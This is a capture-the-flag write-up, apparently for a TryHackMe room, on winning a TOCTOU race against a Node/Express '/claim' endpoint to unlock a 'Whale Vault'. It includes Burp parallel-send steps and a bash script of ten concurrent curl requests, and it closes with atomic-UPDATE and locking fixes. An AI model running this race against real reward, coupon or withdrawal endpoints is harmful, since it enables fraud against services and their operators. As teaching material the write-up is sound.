// TL;DR
  • Vuln: race condition (TOCTOU) on the /claim endpoint.
  • Weapon: Burp Repeater, a group of 10 tabs and Send group (parallel).
  • Requirement: a clean session that has never claimed.
  • Impact: Whale tier unlocked, Whale Vault opened, flag grabbed.
  • Defense: atomic conditional UPDATE, row lock or UNIQUE constraint.
// before you start

Swap <target> for the box IP (the app is on 3000). The session connect.sid is never pasted by hand: you read it from Burp or the CLI block further down mints it. Everything runs on your machine. You need curl; Burp is handy, the race has a command-line equivalent, while signup and opening the vault stay in the browser.

[01] Recon and account setup

First things first, the account. I open http://<target>:3000/, use the Sign Up / Register link and create the guest123 user with any password. I log in and land on the Ponzi dashboard. Two things matter: a Claim Reward button tied to a 24-hour cooldown, and a Whale Vault section at the bottom, locked until you reach Whale tier.

The gate is clear: opening the vault needs Whale tier, and the legitimate path there means accumulating one reward a day over several days. The only guard between me and the whale is that cooldown. The right question isn't "how big is the reward", but "is that check atomic?".

// note

Recon that pays off: the session cookie is connect.sid, the unmistakable signature of express-session. We already know there's a Node/Express backend behind it: a detail that becomes very useful when we reason about why the race exists.

[02] Intercepting the claim request

In Burp I open the built-in browser from Proxy > Intercept > Open Browser: a Chromium already pre-proxied through Burp launches, with no manual proxy or certificate setup. I browse to http://<target>:3000, switch Intercept on and click Claim Reward. Small operational detail: with Intercept on the page won't load until you forward every request by hand, so to browse you either turn it off or forward manually.

# Richiesta catturata da Burp (Intercept ON)
POST /claim HTTP/1.1
Host: <target>:3000
Content-Length: 0
Cookie: connect.sid=...
# Request captured by Burp (Intercept ON)
POST /claim HTTP/1.1
Host: <target>:3000
Content-Length: 0
Cookie: connect.sid=...

From the captured request I copy the connect.sid cookie value out of the Cookie: header — that's my session. Careful, though: it's only useful if that session hasn't claimed yet; the CLI block further down mints a brand-new one on purpose, so here the cookie is mostly recon. In Burp I read it straight off the intercepted request; via curl, the same value comes back in the Set-Cookie header of the login response.

A single claim answers with success, a reward amount and an updated balance. But only the first time: I resend the exact same request by hand and the cooldown kicks in.

# Replay manuale della stessa richiesta: scatta la cooldown
HTTP/1.1 429 Too Many Requests
{"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86400}
# Manual replay of the same request: cooldown kicks in
HTTP/1.1 429 Too Many Requests
{"error":"Reward already claimed. Please wait before claiming again.","secondsRemaining":86400}

The cooldown is enforced, confirmed. But sequential replays prove nothing about atomicity: they arrive one after another, when the state is already written. To break the check I have to hit before the write settles.

[03] Winning the race condition

First, the premise (the red box below restates it too): the race must run on a session that has never claimed, so don't reuse guest123 — you already burned it in step [02]. Register a second account (e.g. guest124), log in through Burp's browser and intercept its first /claim. From there, right-click the /claim request > Send to Repeater. In Repeater, right-click the tab > Duplicate tab and repeat until you have 10 identical tabs. Select them all (click and Shift), right-click > Create tab group and group them (e.g. Group 1). Hard requirement: it all has to run against a clean session that has never successfully claimed. An account with a stored claim answers 429 on every parallel attempt, because the cooldown is already active before the race even starts.

With the 10 tabs grouped, from the group's Send button I pick Send group (parallel): Burp fires all requests at effectively the same instant. This is the core of the attack. If the server asks "has this user claimed today?" and then, as a separate step, writes "claimed = true", firing many requests together lets several pass the check before any of them finish writing the update.

# 10 richieste in parallelo: la race lascia passare PIÙ claim
HTTP/1.1 429 Too Many Requests   # diverse perdono
HTTP/1.1 200 OK                   # una passa prima della write...
HTTP/1.1 200 OK                   # ...e pure la successiva
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":150,"tier":"Whale"}
# 10 parallel requests: the race lets MULTIPLE claims through
HTTP/1.1 429 Too Many Requests   # several lose
HTTP/1.1 200 OK                   # one slips before the write...
HTTP/1.1 200 OK                   # ...and so does the next
{"message":"Staking reward claimed successfully.","reward":50,"newBalance":150,"tier":"Whale"}

Prefer the command line to Burp? You can spin the same race up with ten parallel curls, as long as you use a clean session's cookie. It's less surgical than Burp's last-byte sync — network jitter smears the requests apart — but it's often enough to slip more than one claim through.

// requirement: a FRESH account per attempt

The race must run on a session that has never claimed: the previous step's claim "burns" the account (429 on every later attempt). If a batch fails, register a new user and retry. In Burp: send to Repeater the first /claim of a freshly created account, then hit Drop on the request in the Proxy — not Forward: that way the account stays untouched and only the parallel group consumes the claim. From CLI, mint the cookie as below.

# Alternativa CLI: 10 /claim in parallelo (sessione pulita, mai riscosso)
# Sostituisci solo <target>: il cookie lo conia il blocco stesso
TARGET="http://<target>:3000"
# conia una sessione FRESCA (mai riscossa): registra + login, poi prendi connect.sid.
# (adatta path e nomi campo: alcune room usano form-urlencoded)
# NB: non usare apici singoli nei -d, $RANDOM non si espanderebbe
USER="guest$RANDOM"
curl -s -c cj.txt -X POST "$TARGET/register" -H "Content-Type: application/json" \
     -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null
curl -s -c cj.txt -b cj.txt -X POST "$TARGET/login" -H "Content-Type: application/json" \
     -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null
COOKIE=$(awk '/connect.sid/{print "connect.sid="$7}' cj.txt)

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST "$TARGET/claim" \
    -H "Cookie: $COOKIE" \
    --http1.1 &
done
wait
# Conta gli esiti: piu' di un 200 = race vinta, il resto 429
echo "$USER / Pass123!"  # loggati nel browser con queste credenziali prima di aprire la Whale Vault
# CLI alternative: 10 /claim in parallel (clean session, never claimed)
# Replace only <target>: the block mints the cookie itself
TARGET="http://<target>:3000"
# mint a FRESH session (never claimed): register + login, then grab connect.sid.
# (adapt path and field names: some rooms use form-urlencoded)
# NB: don't use single quotes in -d, $RANDOM wouldn't expand
USER="guest$RANDOM"
curl -s -c cj.txt -X POST "$TARGET/register" -H "Content-Type: application/json" \
     -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null
curl -s -c cj.txt -b cj.txt -X POST "$TARGET/login" -H "Content-Type: application/json" \
     -d "{\"username\":\"$USER\",\"password\":\"Pass123!\"}" -o /dev/null
COOKIE=$(awk '/connect.sid/{print "connect.sid="$7}' cj.txt)

for i in $(seq 1 10); do
  curl -s -o /dev/null -w "%{http_code}\n" \
    -X POST "$TARGET/claim" \
    -H "Cookie: $COOKIE" \
    --http1.1 &
done
wait
# Count the outcomes: more than one 200 = race won, the rest 429
echo "$USER / Pass123!"  # log into the browser with these credentials before opening the Whale Vault

Several requests land as 200 OK before the write settles: every extra 200 is a free claim — inflated balance and, crucially, tier bumped to Whale. The race is won.

// method

Two details that make the difference. First: the target runs on Node/Express, and being single-threaded saves nothing — it actually misleads. Every await on database I/O is a point where the event loop yields control to another request, and that's exactly where, between check and write, the 10 requests slip in. Second: on HTTP/1.1 Burp synchronizes the last byte of all requests in the group (last-byte sync); if the server speaks HTTP/2, the same feature uses James Kettle's single-packet attack, which cancels network jitter by shipping everything in a single packet. On port 3000 it's usually HTTP/1.1, so last-byte sync.

[04] Whale Vault, flag and defense

I turn Intercept off, refresh the dashboard and the Whale tier unlocks the Whale Vault section at the bottom of the page. I click Open Vault and the flag is there. Et voilà.

// flag — REDACTED
THM{████████████████████}

You won't find the flag here: the value itself teaches nothing, and half the fun is getting there. The methodology above is complete and reproducible — the last Enter is yours to press.

Why does it exist? The claim does an application-level check (have I already claimed?) and a write (mark as claimed) as two distinct, non-atomic steps. Between them there's a gap, and in that gap the read state is still "not claimed" for every concurrent request.

# Pattern vulnerabile: check e write separati (TOCTOU)
last = db.get(user.last_claim)          # check — await: qui l'event loop cede
if (now - last) < 24h:                    # finestra sfruttabile: stato ancora «non riscosso»
    return 429
db.set(user.last_claim = now)             # write — await: troppo tardi
grantReward(user)
# Vulnerable pattern: separate check and write (TOCTOU)
last = db.get(user.last_claim)          # check — await: event loop yields here
if (now - last) < 24h:                    # exploitable window: state still "not claimed"
    return 429
db.set(user.last_claim = now)             # write — await: too late
grantReward(user)
# Fix: UPDATE atomico condizionale, poi controlla le righe toccate
rows = UPDATE users
       SET last_claim = now(), balance = balance + 50
       WHERE id = :id
         AND last_claim < now() - INTERVAL '24 hours'
# 0 righe toccate -> reward gia' preso in questo ciclo
if rows == 0:
    return 429
# Fix: atomic conditional UPDATE, then check affected rows
rows = UPDATE users
       SET last_claim = now(), balance = balance + 50
       WHERE id = :id
         AND last_claim < now() - INTERVAL '24 hours'
# 0 rows affected -> reward already taken this cycle
if rows == 0:
    return 429

And it's no poolside quirk: the same pattern hits every "only once" endpoint — coupon redemption, voting, withdrawals, stock decrement, referral bonuses, gift-card redemption. Wherever there's "check if it's already been done, then mark it as done" without atomicity, there's a window to race.

// lesson

Race conditions live in the gap between a "check" and a "write". If the two steps aren't atomic — same transaction, row lock (SELECT ... FOR UPDATE), a UNIQUE constraint, or a conditional UPDATE that inspects the rows actually affected — enough concurrent requests slip through. No injection, no memory corruption needed: you just have to understand how the app's state changes over time. Defend by making the operation idempotent and atomic, never trusting an application-level check performed before the write.